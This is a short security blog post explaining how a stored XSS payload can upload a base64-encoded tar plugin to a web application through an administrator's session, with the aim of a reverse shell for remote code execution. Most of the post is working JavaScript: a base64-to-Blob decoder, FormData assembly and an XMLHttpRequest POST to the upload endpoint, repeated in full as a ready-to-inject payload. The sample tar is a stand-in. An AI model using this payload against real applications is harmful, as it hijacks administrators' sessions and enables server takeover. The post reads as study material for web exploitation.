File Upload via XSS

Posted on January 03, 2020 in XSS

During my studies of web application exploitation I have come across the need to upload a tar plugin file to an application via an XSS payload to achieve remote code execution.

The process that was used to exploit this application is as follows:

  • The administrator triggers a stored XSS which downloads an external JavaScript file.

  • The external JavaScript file contains the contents of the tar file and uploads it to the application on behalf of the administrator's session.

  • Once the plugin is uploaded it will trigger a reverse shell connecting back to the attacker.

I had to figure out how I could store the contents of the tar binary within the JavaScript file and have it uploaded without being malformed. With a little bit of research I had discovered the following solution in which I will describe below.
We will first use the base64 Linux command to create a encoded Base64 string. As this is for demonstration I will not be encoding the actual plugin file I used for exploitation.

user@kali:~$ cat file.tar.gz | base64 -w0
H4sIAFuMDl4AA+3OQQqDMBCF4aw9RU6gM01Mr9AbuBaaghAQ0ggevyku6kq6kVL4v82DebN4bfeYUmzLWsxppArev1Ovve5zo96oC+J6CXqpd1Uvzlg5b9LH8ixjtrZmzMd/x/2fusWUZjvMOd2bX28BAAAAAAAAAAAAAAAAAHzvBY56pbIAKAAA

We will store this string in the b64file variable

var b64file = "H4sIAFuMDl4AA+3OQQqDMBCF4aw9RU6gM01Mr9AbuBaaghAQ0ggevyku6kq6kVL4v82DebN4bfeYUmzLWsxppArev1Ovve5zo96oC+J6CXqpd1Uvzlg5b9LH8ixjtrZmzMd/x/2fusWUZjvMOd2bX28BAAAAAAAAAAAAAAAAAHzvBY56pbIAKAAA";

We will now need a function that will be able to decode this string back to its binary format. I found the following function, base64toBlob , from a Stack Overflow answer created by the user, Bacher.

The function base64toBlob takes 2 parameters, base64Data which takes in Base64 string and contentType which is the MIME type of the data. This function returns a Blob object containing binary data decoded from the inputted Base64 string.

function base64toBlob(base64Data, contentType) {
    contentType = contentType || '';
    var sliceSize = 1024;
    var byteCharacters = atob(base64Data);
    var bytesLength = byteCharacters.length;
    var slicesCount = Math.ceil(bytesLength / sliceSize);
    var byteArrays = new Array(slicesCount);

    for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) {
        var begin = sliceIndex * sliceSize;
        var end = Math.min(begin + sliceSize, bytesLength);

        var bytes = new Array(end - begin);
        for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
            bytes[i] = byteCharacters[offset].charCodeAt(0);
        }
        byteArrays[sliceIndex] = new Uint8Array(bytes);
    }
    return new Blob(byteArrays, { type: contentType });
}

We will call base64toBlob and store it's return value to the blob variable.

var content_type = 'application/x-gtar-compressed';
var blob = base64toBlob(b64file, content_type);

Now we can create a FormData object and append our Blob to it using the append method.

var formData = new FormData();
formData.append('Plugin', blob,'file.tar.gz');

Now that our FormData contains our decoded binary we will be able to send it to the server using XMLHttpRequest 's open and send methods.

var url = 'http://webapp/upload';
var request = new XMLHttpRequest();
request.open('POST', url);
request.send(formData);

Here is the full code snippet below. This code will be loaded onto the victims browser via XSS and will upload the plugin file using the victims session.

//Source: https://stackoverflow.com/a/20151856
//Author: Bacher
function base64toBlob(base64Data, contentType) {
    contentType = contentType || '';
    var sliceSize = 1024;
    var byteCharacters = atob(base64Data);
    var bytesLength = byteCharacters.length;
    var slicesCount = Math.ceil(bytesLength / sliceSize);
    var byteArrays = new Array(slicesCount);

    for (var sliceIndex = 0; sliceIndex < slicesCount; ++sliceIndex) {
        var begin = sliceIndex * sliceSize;
        var end = Math.min(begin + sliceSize, bytesLength);

        var bytes = new Array(end - begin);
        for (var offset = begin, i = 0; offset < end; ++i, ++offset) {
            bytes[i] = byteCharacters[offset].charCodeAt(0);
        }
        byteArrays[sliceIndex] = new Uint8Array(bytes);
    }
    return new Blob(byteArrays, { type: contentType });
}

//File contents encoded to Base64
var b64file = "H4sIAFuMDl4AA+3OQQqDMBCF4aw9RU6gM01Mr9AbuBaaghAQ0ggevyku6kq6kVL4v82DebN4bfeYUmzLWsxppArev1Ovve5zo96oC+J6CXqpd1Uvzlg5b9LH8ixjtrZmzMd/x/2fusWUZjvMOd2bX28BAAAAAAAAAAAAAAAAAHzvBY56pbIAKAAA";

//Create a Blob object
var content_type = 'application/x-gtar-compressed';
var blob = base64toBlob(b64file, content_type);

//Append Blob to FormData
var formData = new FormData();
formData.append('Plugin', blob,'file.tar.gz');

//Send FormData to the server via XMLHttpRequest
var url = 'http://webapp/upload';
var request = new XMLHttpRequest();
request.open('POST', url);
request.send(formData);

References

https://developer.mozilla.org/en-US/docs/Web/API/Blob

https://developer.mozilla.org/en-US/docs/Web/API/FormData

https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest

base64toBlob Function